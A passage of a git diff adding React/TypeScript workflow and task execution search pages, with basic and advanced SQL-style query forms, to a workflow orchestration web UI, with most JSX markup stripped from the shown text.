buildQueryOutput={{ + start: (page - 1) * rowsPerPage, + size: rowsPerPage, + sort, + freeText, + query: buildQuery().query, + }} + /> + )} + pushHistory(NEW_TASK_DEF_URL), + startIcon: , + }, + ]} + /> + } + /> + + + + {asQuery ? ( + + ) : ( + + )} + + + + + + ); +} diff --git a/ui-next/src/pages/executions/WorkflowSearch.tsx b/ui-next/src/pages/executions/WorkflowSearch.tsx new file mode 100644 index 0000000..61eeb4b --- /dev/null +++ b/ui-next/src/pages/executions/WorkflowSearch.tsx @@ -0,0 +1,245 @@ +import { Box, FormControlLabel, Switch } from "@mui/material"; +import MuiTypography from "components/ui/MuiTypography"; +import PlayIcon from "components/icons/PlayIcon"; +import _isEqual from "lodash/isEqual"; +import { useEffect, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useQueryState } from "react-router-use-location-state"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import SectionHeaderActions from "components/ui/layout/SectionHeaderActions"; +import { colors } from "theme/tokens/variables"; +import { TaskExecutionResult } from "types/TaskExecution"; +import { DoSearchProps } from "types/WorkflowExecution"; +import { RUN_WORKFLOW_URL } from "utils/constants/route"; +import { dateToEpoch } from "utils/date"; +import { commonlyUsedDateTime, getSearchDateTime } from "utils/date"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { tryToJson } from "utils/utils"; +import SplitWorkflowDefinitionButton from "./SplitWorkflowDefinitionButton/SplitWorkflowDefinitionButton"; +import AdvancedSearch from "./workflowSearchComponents/AdvancedSearch"; +import BasicSearch from "./workflowSearchComponents/BasicSearch"; + +const SwitchComponent = ({ + asQuery, + setAsQuery, +}: { + asQuery: boolean; + setAsQuery: (value: boolean) => void; +}) => ( + + setAsQuery(!asQuery)} />} + label="SQL format" + /> + +); + +export default function WorkflowPanel() { + const [asQuery, setAsQuery] = useQueryState("asQuery", false); + const [freeText, setFreeText] = useQueryState("freeText", ""); + const [status, setStatus] = useQueryState("status", []); + const [excludeSubWorkflows, setExcludeSubWorkflows] = useQueryState( + "excludeSubWorkflows", + false, + ); + const [openDateSelect, setOpenDateSelect] = useState(false); + const [openStartDatePicker, setStartOpenDatePicker] = useState(false); + const [openEndDatePicker, setEndOpenDatePicker] = useState(false); + const [startTimeFrom, setStartTimeFrom] = useQueryState( + "startFrom", + commonlyUsedDateTime("last72Hours").rangeStart, + ); + const [startTimeTo, setStartTimeTo] = useQueryState("startTo", ""); + const [endTimeFrom, setEndTimeFrom] = useQueryState("endTimeFrom", ""); + const [endTimeTo, setEndTimeTo] = useQueryState("endTimeTo", ""); + const [fromDisplayTime, setFromDisplayTime] = useState( + startTimeFrom + ? getSearchDateTime(startTimeFrom, startTimeTo) + : "Last 72 Hours", + ); + const [toDisplayTime, setToDisplayTime] = useState( + endTimeTo ? getSearchDateTime(endTimeFrom, endTimeTo) : "Select time range", + ); + + const last72HoursTimestamp = Date.now() - 72 * 60 * 60 * 1000; + + const recentSearches = + (tryToJson(localStorage.getItem("recentTaskSearch")) as { + start: string; + end: string; + }) || {}; + + useEffect(() => { + if (!startTimeFrom) { + setStartTimeFrom(last72HoursTimestamp.toString()); + setStartTimeTo(""); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); + + const onStartFromChange = (val: string) => { + setStartTimeFrom(val ? String(dateToEpoch(val)) : ""); + }; + const onStartToChange = (val: string) => { + setStartTimeTo(val ? String(dateToEpoch(val)) : ""); + }; + const onEndFromChange = (val: string) => { + setEndTimeFrom(val ? String(dateToEpoch(val)) : ""); + }; + const onEndToChange = (val: string) => { + setEndTimeTo(val ? String(dateToEpoch(val)) : ""); + }; + + const doSearch = ({ + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }: DoSearchProps) => { + setPage(1); + const oldQueryFT = queryFT; + const newQueryFT = buildQuery(); + setQueryFT(newQueryFT); + + if (_isEqual(oldQueryFT, newQueryFT)) { + refetch(); + } + setRecentTaskSearch?.(); + }; + + const pushHistory = usePushHistory(); + + const getTableTitle = (resultObj: TaskExecutionResult | undefined) => { + if (!resultObj?.results) return null; + const { results, totalHits } = resultObj; + return ( + + + {results.length} results + + + of {totalHits} + + + ); + }; + + return ( + <> + + Workflow Executions + + pushHistory(RUN_WORKFLOW_URL), + startIcon: , + }, + { + customButtonElement: , + }, + ]} + /> + } + /> + + {asQuery ? ( + + } + getTableTitle={getTableTitle} + freeText={freeText} + setFreeText={setFreeText} + status={status} + setStatus={setStatus} + startTimeFrom={startTimeFrom} + setStartTimeFrom={setStartTimeFrom} + onStartFromChange={onStartFromChange} + startTimeTo={startTimeTo} + setStartTimeTo={setStartTimeTo} + onStartToChange={onStartToChange} + endTimeFrom={endTimeFrom} + setEndTimeFrom={setEndTimeFrom} + onEndFromChange={onEndFromChange} + endTimeTo={endTimeTo} + setEndTimeTo={setEndTimeTo} + onEndToChange={onEndToChange} + fromDisplayTime={fromDisplayTime} + setFromDisplayTime={setFromDisplayTime} + toDisplayTime={toDisplayTime} + setToDisplayTime={setToDisplayTime} + openDateSelect={openDateSelect} + setOpenDateSelect={setOpenDateSelect} + openStartDatePicker={openStartDatePicker} + setStartOpenDatePicker={setStartOpenDatePicker} + openEndDatePicker={openEndDatePicker} + setEndOpenDatePicker={setEndOpenDatePicker} + recentSearches={recentSearches} + /> + ) : ( + + } + getTableTitle={getTableTitle} + freeText={freeText} + setFreeText={setFreeText} + status={status} + setStatus={setStatus} + excludeSubWorkflows={excludeSubWorkflows} + setExcludeSubWorkflows={setExcludeSubWorkflows} + startTimeFrom={startTimeFrom} + setStartTimeFrom={setStartTimeFrom} + onStartFromChange={onStartFromChange} + startTimeTo={startTimeTo} + setStartTimeTo={setStartTimeTo} + onStartToChange={onStartToChange} + endTimeFrom={endTimeFrom} + setEndTimeFrom={setEndTimeFrom} + onEndFromChange={onEndFromChange} + endTimeTo={endTimeTo} + setEndTimeTo={setEndTimeTo} + onEndToChange={onEndToChange} + fromDisplayTime={fromDisplayTime} + setFromDisplayTime={setFromDisplayTime} + toDisplayTime={toDisplayTime} + setToDisplayTime={setToDisplayTime} + openDateSelect={openDateSelect} + setOpenDateSelect={setOpenDateSelect} + openStartDatePicker={openStartDatePicker} + setStartOpenDatePicker={setStartOpenDatePicker} + openEndDatePicker={openEndDatePicker} + setEndOpenDatePicker={setEndOpenDatePicker} + recentSearches={recentSearches} + /> + )} + + + ); +} diff --git a/ui-next/src/pages/executions/executionsStyles.ts b/ui-next/src/pages/executions/executionsStyles.ts new file mode 100644 index 0000000..bc592ef --- /dev/null +++ b/ui-next/src/pages/executions/executionsStyles.ts @@ -0,0 +1,35 @@ +export default { + clickSearch: { + width: "100%", + padding: "30px", + paddingBottom: "0px", + display: "block", + textAlign: "center", + }, + paper: { + marginBottom: "30px", + }, + heading: { + marginBottom: "20px", + minHeight: "60px", + }, + controls: { + // padding: 15, + }, + popupIndicator: { + backgroundColor: "red", + }, + banner: { + marginBottom: "15px", + }, + actionBar: { + display: "flex", + alignItems: "center", + paddingRight: "10px", + "&>div, &>p": { + marginRight: "10px", + }, + width: "100%", + justifyContent: "space-between", + }, +}; diff --git a/ui-next/src/pages/executions/index.ts b/ui-next/src/pages/executions/index.ts new file mode 100644 index 0000000..8071f8a --- /dev/null +++ b/ui-next/src/pages/executions/index.ts @@ -0,0 +1,6 @@ +import WorkflowSearch from "./WorkflowSearch"; +import SchedulerExecutions from "./SchedulerExecutions"; + +export { SchedulerExecutions, WorkflowSearch }; + +export * from "./TaskSearch"; diff --git a/ui-next/src/pages/executions/workflowSearchComponents/AdvancedSearch.tsx b/ui-next/src/pages/executions/workflowSearchComponents/AdvancedSearch.tsx new file mode 100644 index 0000000..c84a28a --- /dev/null +++ b/ui-next/src/pages/executions/workflowSearchComponents/AdvancedSearch.tsx @@ -0,0 +1,582 @@ +import { Monaco } from "@monaco-editor/react"; +import { Box, Grid } from "@mui/material"; +import { Button, Paper } from "components"; +import ResetIcon from "components/icons/ResetIcon"; +import SearchIcon from "components/icons/SearchIcon"; +import StatusBadge from "components/StatusBadge"; +import { renderStatusTagChip } from "components/StatusTagChip"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import { DEFAULT_ROWS_PER_PAGE } from "components/ui/DataTable/DataTable"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import MuiTypography from "components/ui/MuiTypography"; +import _isEmpty from "lodash/isEmpty"; +import { + ReactNode, + useCallback, + useEffect, + useMemo, + useRef, + useState, +} from "react"; +import { useHotkeys } from "react-hotkeys-hook"; +import { Navigate } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import { colors } from "theme/tokens/variables"; +import { Key } from "ts-key-enum"; +import { IObject } from "types/common"; +import { WorkflowExecutionStatus } from "types/Execution"; +import { TaskExecutionResult } from "types/TaskExecution"; +import { DoSearchProps } from "types/WorkflowExecution"; +import { dateToEpoch, useLocalStorage } from "utils"; +import { WORKFLOW_SEARCH_QUERY_SUGGESTIONS } from "utils/constants/common"; +import { ERROR_URL } from "utils/constants/route"; +import { useWorkflowNames, useWorkflowSearch } from "utils/query"; +import { getErrors } from "utils/utils"; +import { ApiSearchModalIntegration } from "../ApiSearchModalIntegration"; +import { DateControlComponent } from "../DateControlComponent"; +import ResultsTable from "../ResultsTable"; +import { ExampleSearchQuery } from "../SearchExampleQuery"; + +const DEFAULT_SORT = "startTime:DESC"; +const workflowStatuses = Object.values(WorkflowExecutionStatus); + +export interface AdvancedSearchProps { + doSearch: ({ + resultObj, + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }: DoSearchProps) => void; + SwitchComponent: ReactNode; + getTableTitle: (resultObj: TaskExecutionResult) => ReactNode; + freeText: string; + setFreeText: (val: string) => void; + status: string[]; + setStatus: (val: string[]) => void; + startTimeFrom: string; + setStartTimeFrom: (val: string) => void; + onStartFromChange: (val: string) => void; + startTimeTo: string; + setStartTimeTo: (val: string) => void; + onStartToChange: (val: string) => void; + endTimeFrom: string; + setEndTimeFrom: (val: string) => void; + onEndFromChange: (val: string) => void; + endTimeTo: string; + setEndTimeTo: (val: string) => void; + onEndToChange: (val: string) => void; + fromDisplayTime: string; + setFromDisplayTime: (val: string) => void; + toDisplayTime: string; + setToDisplayTime: (val: string) => void; + openDateSelect: boolean; + setOpenDateSelect: (val: boolean) => void; + openStartDatePicker: boolean; + setStartOpenDatePicker: (val: boolean) => void; + openEndDatePicker: boolean; + setEndOpenDatePicker: (val: boolean) => void; + recentSearches: { start: string; end: string }; +} + +export default function AdvancedSearch({ + doSearch, + SwitchComponent, + getTableTitle, + freeText, + setFreeText, + status, + setStatus, + startTimeFrom, + setStartTimeFrom, + onStartFromChange, + startTimeTo, + setStartTimeTo, + onStartToChange, + endTimeFrom, + setEndTimeFrom, + onEndFromChange, + endTimeTo, + setEndTimeTo, + onEndToChange, + fromDisplayTime, + setFromDisplayTime, + toDisplayTime, + setToDisplayTime, + openDateSelect, + setOpenDateSelect, + openStartDatePicker, + setStartOpenDatePicker, + openEndDatePicker, + setEndOpenDatePicker, + recentSearches, +}: AdvancedSearchProps) { + const disposeRef = useRef void)>(null); + const [queryText, setQueryText] = useQueryState("query", ""); + const [page, setPage] = useQueryState("page", 1); + const [rowsPerPage, setRowsPerPage] = useQueryState( + "rowsPerPage", + DEFAULT_ROWS_PER_PAGE, + ); + const [sort, setSort] = useQueryState("sort", DEFAULT_SORT); + const [showCodeDialog, setShowCodeDialog] = useQueryState("displayCode", ""); + + const [errorMessage, setErrorMessage] = useState(null); + + const [unauthorized, setUnauthorized] = useState<{ + message?: string; + error?: string; + } | null>(null); + + // For dropdown + const workflowNames: string[] = useWorkflowNames(); + + useEffect(() => { + return () => { + if (disposeRef.current) { + disposeRef.current(); + } + }; + }, []); + + // for tooltip flag in localstorage + const [tooltipFlags, setTooltipFlags] = useLocalStorage("tooltipFlags", {}); + const handleToolTipOnClose = () => { + if (tooltipFlags && !tooltipFlags.executionSearch) { + setTooltipFlags({ ...tooltipFlags, executionSearch: true }); + } + }; + + const currentTimeStamp = Date.now().toString(); + const last72HoursTimestamp = Date.now() - 72 * 60 * 60 * 1000; + + const buildQuery = useCallback(() => { + const clauses = []; + + if (!_isEmpty(status) && !queryText.includes("status")) { + clauses.push(`status IN (${status.join(",")})`); + } + + if (!queryText.includes("startTime")) { + if (!_isEmpty(startTimeFrom)) { + clauses.push(`startTime>${dateToEpoch(startTimeFrom)}`); + } + } + + if (!_isEmpty(startTimeTo)) { + clauses.push(`startTime<${dateToEpoch(startTimeTo)}`); + } + if (!_isEmpty(endTimeFrom)) { + clauses.push(`endTime>${dateToEpoch(endTimeFrom)}`); + } + if (!_isEmpty(endTimeTo)) { + clauses.push(`endTime<${dateToEpoch(endTimeTo)}`); + } + + if (!_isEmpty(queryText)) { + clauses.push(queryText); + } + + return { + query: clauses.join(" AND "), + freeText: _isEmpty(freeText) ? "*" : freeText, + }; + }, [ + freeText, + startTimeFrom, + startTimeTo, + endTimeFrom, + endTimeTo, + status, + queryText, + ]); + + const [queryFT, setQueryFT] = useState(buildQuery); + const { + data: resultObj, + error, + isFetching, + refetch, + } = useWorkflowSearch( + { + page, + rowsPerPage, + sort, + query: queryFT.query, + freeText: queryFT.freeText, + // Exclude AgentSpan-compiled agent executions — this page is for plain + // workflow executions; agent runs live on the dedicated Agents pages. + classifier: "workflow", + }, + {}, + { + onError: (error: any) => { + if (error) { + getErrors(error as Response).then((result) => { + if (result?.["workflowName"] === "must not be empty") { + setErrorMessage({ message: "Workflow name should not be empty" }); + } else { + setErrorMessage(result); + } + }); + } else { + setErrorMessage(null); + } + }, + staleTime: 0, + }, + ); + + // hotkeys to search execution + useHotkeys( + `${Key.Meta}+${Key.Enter}`, + () => + doSearch({ + resultObj, + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }), + { + enableOnFormTags: ["INPUT", "TEXTAREA", "SELECT"], + }, + ); + + // Must be called before any early returns to follow Rules of Hooks + const filterOn = useMemo(() => { + if (queryFT.query !== "" || queryFT.freeText !== "*") { + return true; + } else { + return false; + } + }, [queryFT]); + + const handlePage = (page: number) => { + setPage(page); + }; + + const handleSort = (changedColumn: string, direction: string) => { + const sortColumn = + changedColumn === "workflowType" ? "workflowName" : changedColumn; + const newSort = `${sortColumn}:${direction.toUpperCase()}`; + + // Only refetch if sort actually changed + if (sort !== newSort) { + setPage(1); + setSort(newSort); + refetch(); + } + }; + + // @ts-ignore + if (error?.status === 401) { + const errorResult = error; + const parseErrorResponse = async () => { + try { + // @ts-ignore + const json = await errorResult.clone().json(); + setUnauthorized(json); + } catch { + setUnauthorized(null); + } + }; + parseErrorResponse(); + } + + if (unauthorized) { + if (unauthorized.message) { + return ( + + ); + } + + return ; + } + + const handleError = (error: any) => { + setErrorMessage(error); + }; + const handleClearError = () => { + setErrorMessage(null); + }; + + const clearAllFields = () => { + setStatus([]); + setStartTimeFrom(""); + setStartTimeTo(""); + setEndTimeFrom(""); + setEndTimeTo(""); + setToDisplayTime(""); + setFromDisplayTime("Last 72 Hours"); + setFreeText(""); + setQueryText(""); + }; + + const handleReset = () => { + clearAllFields(); + setStartTimeFrom(last72HoursTimestamp.toString()); + setStartTimeTo(""); + const newQueryFT = { + query: `startTime>${last72HoursTimestamp.toString()} AND startTime<${currentTimeStamp}`, + freeText: "*", + }; + setQueryFT(newQueryFT); + }; + + const handleRowsPerPage = (rowsPerPage: number) => { + setPage(1); + setRowsPerPage(rowsPerPage); + }; + + const setRecentTaskSearch = () => { + if (startTimeFrom || startTimeTo || endTimeFrom || endTimeTo) { + localStorage.setItem( + "recentTaskSearch", + JSON.stringify({ + start: startTimeFrom || startTimeTo, + end: endTimeTo || endTimeFrom, + }), + ); + } + }; + + return ( + <> + + {SwitchComponent} + + {showCodeDialog && ( + setShowCodeDialog("")} + buildQueryOutput={{ + start: (page - 1) * rowsPerPage, + size: rowsPerPage, + sort, + freeText, + query: buildQuery().query, + }} + /> + )} + + + + Search workflow execution by query parameters. Then hit + ENTER, and now you can click SEARCH. + + + Sample: + + + + + ), + showInitial: !tooltipFlags.executionSearch, + initialTimeout: 2000, + onClose: handleToolTipOnClose, + }} + beforeMount={(monaco: Monaco) => { + if (disposeRef.current) { + disposeRef.current(); + disposeRef.current = null; + } + const disposable = + monaco.languages.registerCompletionItemProvider("sql", { + provideCompletionItems: () => { + const propertyKeys = [ + ...WORKFLOW_SEARCH_QUERY_SUGGESTIONS, + ...workflowStatuses, + ...workflowNames, + "workflowType", + ]; + // Provide suggestions for properties that start with the current text + const propertySuggestions = propertyKeys.map( + (property) => ({ + label: property, + kind: monaco.languages.CompletionItemKind.Value, + insertText: property, + }), + ); + // Merge custom suggestions with property suggestions + const suggestions = [...propertySuggestions]; + return { suggestions }; + }, + }); + // IMPORTANT: keep `dispose()` bound to its disposable context. + // Destructuring `dispose` can lose `this` and throw "Unbound disposable context". + disposeRef.current = () => disposable.dispose(); + }} + /> + + + setStatus(val)} + value={status} + renderTags={renderStatusTagChip} + renderOption={(props, option) => ( + + + + )} + /> + + + + + + + + + + + + } + options={[ + { + label: "Show as code", + onClick: () => setShowCodeDialog("active"), + }, + ]} + primaryOnClick={() => + doSearch({ + resultObj, + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }) + } + > + Search + + + +       + + + + ); +} diff --git a/ui-next/src/pages/executions/workflowSearchComponents/BasicSearch.tsx b/ui-next/src/pages/executions/workflowSearchComponents/BasicSearch.tsx new file mode 100644 index 0000000..e8254b1 --- /dev/null +++ b/ui-next/src/pages/executions/workflowSearchComponents/BasicSearch.tsx @@ -0,0 +1,718 @@ +import { Box, FormControlLabel, Grid, Switch } from "@mui/material"; +import { Button, Paper } from "components"; +import { DEFAULT_ROWS_PER_PAGE } from "components/ui/DataTable/DataTable"; +import StatusBadge from "components/StatusBadge"; +import { renderStatusTagChip } from "components/StatusTagChip"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import ResetIcon from "components/icons/ResetIcon"; +import SearchIcon from "components/icons/SearchIcon"; +import _isEmpty from "lodash/isEmpty"; +import { ReactNode, useCallback, useEffect, useMemo, useState } from "react"; +import { useHotkeys } from "react-hotkeys-hook"; +import { Navigate } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import { Key } from "ts-key-enum"; +import { WorkflowExecutionStatus } from "types/Execution"; +import { TaskExecutionResult } from "types/TaskExecution"; +import { DoSearchProps } from "types/WorkflowExecution"; +import { IObject } from "types/common"; +import { dateToEpoch, useLocalStorage } from "utils"; +import { ERROR_URL } from "utils/constants/route"; +import { useAutoCompleteInputValidation } from "utils/hooks/useAutoCompleteInputValidation"; +import { useWorkflowNames, useWorkflowSearch } from "utils/query"; +import { getErrors } from "utils/utils"; +import { ApiSearchModalIntegration } from "../ApiSearchModalIntegration"; +import { DateControlComponent } from "../DateControlComponent"; +import ResultsTable from "../ResultsTable"; + +const DEFAULT_SORT = "startTime:DESC"; +const workflowStatuses = Object.values(WorkflowExecutionStatus); + +export interface BasicSearchProps { + doSearch: ({ + resultObj, + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }: DoSearchProps) => void; + SwitchComponent: ReactNode; + getTableTitle: (resultObj: TaskExecutionResult) => ReactNode; + freeText: string; + setFreeText: (val: string) => void; + status: string[]; + setStatus: (val: string[]) => void; + startTimeFrom: string; + setStartTimeFrom: (val: string) => void; + onStartFromChange: (val: string) => void; + startTimeTo: string; + setStartTimeTo: (val: string) => void; + onStartToChange: (val: string) => void; + endTimeFrom: string; + setEndTimeFrom: (val: string) => void; + onEndFromChange: (val: string) => void; + endTimeTo: string; + setEndTimeTo: (val: string) => void; + onEndToChange: (val: string) => void; + fromDisplayTime: string; + setFromDisplayTime: (val: string) => void; + toDisplayTime: string; + setToDisplayTime: (val: string) => void; + openDateSelect: boolean; + setOpenDateSelect: (val: boolean) => void; + openStartDatePicker: boolean; + setStartOpenDatePicker: (val: boolean) => void; + openEndDatePicker: boolean; + setEndOpenDatePicker: (val: boolean) => void; + excludeSubWorkflows: boolean; + setExcludeSubWorkflows: (val: boolean) => void; + recentSearches: { start: string; end: string }; +} + +export default function BasicSearch({ + doSearch, + SwitchComponent, + getTableTitle, + freeText, + setFreeText, + status, + setStatus, + startTimeFrom, + setStartTimeFrom, + onStartFromChange, + startTimeTo, + setStartTimeTo, + onStartToChange, + endTimeFrom, + setEndTimeFrom, + onEndFromChange, + endTimeTo, + setEndTimeTo, + onEndToChange, + fromDisplayTime, + setFromDisplayTime, + toDisplayTime, + setToDisplayTime, + openDateSelect, + setOpenDateSelect, + openStartDatePicker, + setStartOpenDatePicker, + openEndDatePicker, + setEndOpenDatePicker, + excludeSubWorkflows, + setExcludeSubWorkflows, + recentSearches, +}: BasicSearchProps) { + const [page, setPage] = useQueryState("page", 1); + const [workflowType, setWorkflowType] = useQueryState( + "workflowType", + [], + ); + const [workflowId, setWorkflowId] = useQueryState("workflowId", ""); + const [correlationIds, setCorrelationIds] = useQueryState( + "correlationIds", + [], + ); + const [idempotencyKey, setIdempotencyKey] = useQueryState( + "idempotencyKey", + [], + ); + + const [modifiedFrom, setModifiedFrom] = useQueryState("modifiedFrom", ""); + const [modifiedTo, setModifiedTo] = useQueryState("modifiedTo", ""); + + const [rowsPerPage, setRowsPerPage] = useQueryState( + "rowsPerPage", + DEFAULT_ROWS_PER_PAGE, + ); + const [sort, setSort] = useQueryState("sort", DEFAULT_SORT); + const [showCodeDialog, setShowCodeDialog] = useQueryState("displayCode", ""); + + const { + setValue: setCorrelationInputVal, + setFocused: setCorrelationFieldFocus, + hasError: correlationIdHasError, + } = useAutoCompleteInputValidation(); + + const { + setValue: setIdempotencyKeyInputVal, + setFocused: setIdempotencyKeyFieldFocus, + hasError: idempotencyKeyHasError, + } = useAutoCompleteInputValidation(); + + // For dropdown + const workflowNames: string[] = useWorkflowNames(); + + // for tooltip flag in localstorage + const [tooltipFlags, setTooltipFlags] = useLocalStorage("tooltipFlags", {}); + const handleToolTipOnClose = () => { + if (tooltipFlags && !tooltipFlags.executionSearch) { + setTooltipFlags({ ...tooltipFlags, executionSearch: true }); + } + }; + + const handleRowsPerPage = (rowsPerPage: number) => { + setPage(1); + setRowsPerPage(rowsPerPage); + }; + + const clearAllFields = () => { + setWorkflowType([]); + setCorrelationIds([]); + setIdempotencyKey([]); + setWorkflowId(""); + setStatus([]); + setStartTimeFrom(""); + setStartTimeTo(""); + setFreeText(""); + setModifiedFrom(""); + setModifiedTo(""); + setEndTimeFrom(""); + setEndTimeTo(""); + setExcludeSubWorkflows(false); + setToDisplayTime("Now"); + setFromDisplayTime("Last 72 Hours"); + }; + + const currentTimeStamp = Date.now().toString(); + const last72HoursTimestamp = Date.now() - 72 * 60 * 60 * 1000; + + const handleReset = () => { + clearAllFields(); + setStartTimeFrom(String(last72HoursTimestamp)); + setStartTimeTo(""); + const newQueryFT = { + query: `startTime>${String( + last72HoursTimestamp, + )} AND startTime<${currentTimeStamp}`, + freeText: "*", + }; + setQueryFT(newQueryFT); + }; + + const [errorMessage, setErrorMessage] = useState(null); + + const [unauthorized, setUnauthorized] = useState<{ + message?: string; + error?: string; + } | null>(null); + + const buildQuery = useCallback(() => { + const clauses = []; + if (!_isEmpty(workflowType)) { + clauses.push(`workflowType IN (${workflowType.join(",")})`); + } + if (!_isEmpty(workflowId)) { + clauses.push(`workflowId='${workflowId}'`); + } + if (!_isEmpty(status)) { + clauses.push(`status IN (${status.join(",")})`); + } + if (!_isEmpty(startTimeFrom)) { + clauses.push(`startTime>${dateToEpoch(startTimeFrom)}`); + } + if (!_isEmpty(startTimeTo)) { + clauses.push(`startTime<${dateToEpoch(startTimeTo)}`); + } + if (!_isEmpty(endTimeFrom)) { + clauses.push(`endTime>${dateToEpoch(endTimeFrom)}`); + } + if (!_isEmpty(endTimeTo)) { + clauses.push(`endTime<${dateToEpoch(endTimeTo)}`); + } + + if (!_isEmpty(modifiedFrom)) { + clauses.push(`modifiedTime>${modifiedFrom}`); + } + if (!_isEmpty(modifiedTo)) { + clauses.push(`modifiedTime<${modifiedTo}`); + } + + if (!_isEmpty(correlationIds)) { + clauses.push(`correlationId IN (${correlationIds.join(",")})`); + } + + if (!_isEmpty(idempotencyKey)) { + clauses.push(`idempotencyKey IN (${idempotencyKey.join(",")})`); + } + + if (excludeSubWorkflows) { + clauses.push(`parentWorkflowId=""`); + } + + return { + query: clauses.join(" AND "), + freeText: _isEmpty(freeText) ? "*" : freeText, + }; + }, [ + freeText, + startTimeFrom, + startTimeTo, + status, + workflowId, + workflowType, + modifiedFrom, + modifiedTo, + correlationIds, + idempotencyKey, + endTimeFrom, + endTimeTo, + excludeSubWorkflows, + ]); + + const [queryFT, setQueryFT] = useState(buildQuery); + const { + data: resultObj, + error, + isFetching, + refetch, + } = useWorkflowSearch( + { + page, + rowsPerPage, + sort, + query: queryFT.query, + freeText: queryFT.freeText, + // Exclude AgentSpan-compiled agent executions — this page is for plain + // workflow executions; agent runs live on the dedicated Agents pages. + classifier: "workflow", + }, + {}, + { + onError: (error: any) => { + if (error) { + getErrors(error as Response).then((result) => { + if (result?.["workflowName"] === "must not be empty") { + setErrorMessage({ message: "Workflow name should not be empty" }); + } else { + setErrorMessage(result); + } + }); + } else { + setErrorMessage(null); + } + }, + }, + ); + + // hotkeys to search execution + useHotkeys( + `${Key.Meta}+${Key.Enter}`, + () => + doSearch({ + resultObj, + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }), + { + enableOnFormTags: ["INPUT", "TEXTAREA", "SELECT"], + }, + ); + + const handleSort = (changedColumn: string, direction: string) => { + const sortColumn = + changedColumn === "workflowType" ? "workflowName" : changedColumn; + const newSort = `${sortColumn}:${direction.toUpperCase()}`; + + // Only refetch if sort actually changed + if (sort !== newSort) { + setPage(1); + setSort(newSort); + refetch(); + } + }; + const handlePage = (page: number) => { + setPage(page); + }; + + const filterOn = useMemo(() => { + if (queryFT.query !== "" || queryFT.freeText !== "*") { + return true; + } else { + return false; + } + }, [queryFT]); + + const setRecentTaskSearch = () => { + if (startTimeFrom || startTimeTo || endTimeFrom || endTimeTo) { + localStorage.setItem( + "recentTaskSearch", + JSON.stringify({ + start: startTimeFrom || startTimeTo, + end: endTimeTo || endTimeFrom, + }), + ); + } + }; + + useEffect(() => { + if (!startTimeFrom) { + const currentTime = Date.now(); + const timestamp72HoursAgo = currentTime - 72 * 60 * 60 * 1000; + setStartTimeFrom(String(timestamp72HoursAgo)); + } + // eslint-disable-next-line + }, []); + + // @ts-ignore + if (error?.status === 401) { + const errorResult = error; + const parseErrorResponse = async () => { + try { + // @ts-ignore + const json = await errorResult.clone().json(); + setUnauthorized(json); + } catch { + setUnauthorized(null); + } + }; + parseErrorResponse(); + } + + if (unauthorized) { + if (unauthorized.message) { + return ( + + ); + } + + return ; + } + + const handleError = (error: any) => { + setErrorMessage(error); + }; + const handleClearError = () => { + setErrorMessage(null); + }; + + return ( + <> + + {SwitchComponent} + + {showCodeDialog && ( + setShowCodeDialog("")} + buildQueryOutput={{ + start: (page - 1) * rowsPerPage, + size: rowsPerPage, + sort, + freeText, + query: buildQuery().query, + }} + /> + )} + + + + a.toLowerCase().localeCompare(b.toLowerCase()), + )} + multiple + freeSolo + onChange={(__, val: string[]) => setWorkflowType(val)} + value={workflowType} + autoFocus + conductorInputProps={{ + tooltip: { + title: "Partial Name Search", + content: + "Search workflows by partial names with a wildcard * in your keyword. Then hit ENTER, and now you can click SEARCH. i.e. Workfl* or *orkfl*w", + placement: "top", + showInitial: !tooltipFlags.executionSearch ? true : false, + initialTimeout: 2000, + onClose: handleToolTipOnClose, + }, + autoFocus: true, + }} + /> + + + + + + { + setCorrelationInputVal(typingValue); + }} + onChange={(evt: any, val: string[]) => { + if (evt.key === "Backspace" || evt.key === "Enter") { + setCorrelationInputVal(""); + } + setCorrelationIds(val); + }} + onFocus={() => setCorrelationFieldFocus(true)} + onBlur={() => setCorrelationFieldFocus(false)} + value={correlationIds} + error={correlationIdHasError} + conductorInputProps={{ + tooltip: { + title: "Get Workflows by Correlation ID", + content: + "Search workflows by Correlation ID. This field has support for multiple values, so please remember to press 'Enter' for each value to apply the search.", + }, + error: correlationIdHasError, + }} + /> + + + { + setIdempotencyKeyInputVal(typingValue); + }} + onChange={(evt: any, val: string[]) => { + if (evt.key === "Backspace" || evt.key === "Enter") { + setIdempotencyKeyInputVal(""); + } + + setIdempotencyKey(val); + }} + onFocus={() => setIdempotencyKeyFieldFocus(true)} + onBlur={() => setIdempotencyKeyFieldFocus(false)} + value={idempotencyKey} + error={idempotencyKeyHasError} + conductorInputProps={{ + tooltip: { + title: "Get Workflows by Idempotency key", + content: + "Search workflows by Idempotency key. This field has support for multiple values, so please remember to press 'Enter' for each value to apply the search.", + }, + error: idempotencyKeyHasError, + }} + /> + + + setStatus(val)} + value={status} + renderTags={renderStatusTagChip} + renderOption={(props, option) => ( + + + + )} + /> + + + + + + + + + setExcludeSubWorkflows(e.target.checked)} + size="small" + /> + } + label="Exclude sub-workflows" + slotProps={{ + typography: { variant: "body2" }, + }} + /> + + + + } + options={[ + { + label: "Show as code", + onClick: () => setShowCodeDialog("active"), + }, + ]} + primaryOnClick={() => + doSearch({ + resultObj, + queryFT, + buildQuery, + setQueryFT, + refetch, + setPage, + setRecentTaskSearch, + }) + } + > + Search + + + + + + + + ); +} diff --git 